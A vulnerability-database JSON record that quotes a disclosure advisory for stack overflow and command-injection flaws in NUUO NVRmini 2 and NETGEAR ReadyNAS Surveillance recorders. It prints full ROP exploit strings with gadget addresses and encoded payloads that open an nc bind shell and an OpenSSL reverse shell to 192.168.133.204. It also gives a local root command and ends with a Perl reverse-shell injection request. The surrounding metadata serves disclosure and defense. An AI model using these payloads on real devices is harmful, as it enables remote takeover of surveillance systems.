SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5678"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.33
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5678"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.7
},
{
"db": "NVD",
"id": "CVE-2016-5678",
"trust": 3.5
},
{
"db": "BID",
"id": "92318",
"trust": 2.6
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.1
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2016-06322",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271",
"trust": 0.6
},
{
"db": "VULMON",
"id": "CVE-2016-5678",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"id": "VAR-201608-0071",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06322"
}
],
"trust": 1.3138401533333335
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06322"
}
]
},
"last_update_date": "2024-11-23T21:42:52.942000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "NUUO NVRsolo",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0002\u0026node=13"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-798",
"trust": 1.0
},
{
"problemtype": "CWE-Other",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.0,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.3,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.2,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5678"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5678"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"date": "2016-08-31T15:59:04.747000",
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06322"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5678"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004492"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-271"
},
{
"date": "2024-11-21T02:54:48.553000",
"db": "NVD",
"id": "CVE-2016-5678"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "lack of information",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-271"
}
],
"trust": 0.6
}
}
var-201608-0088
Vulnerability from variot
handle_daylightsaving.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.0.0 through 3.0.0, NUUO Crystal 2.2.1 through 3.2.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the NTPServer parameter. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRsolo and so on are products of NUUO. Both NUUONVRsolo and NVRmini2 are network video recorders. NUUOCrystal is a Linux-based enterprise VMS (virtual memory system) solution. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
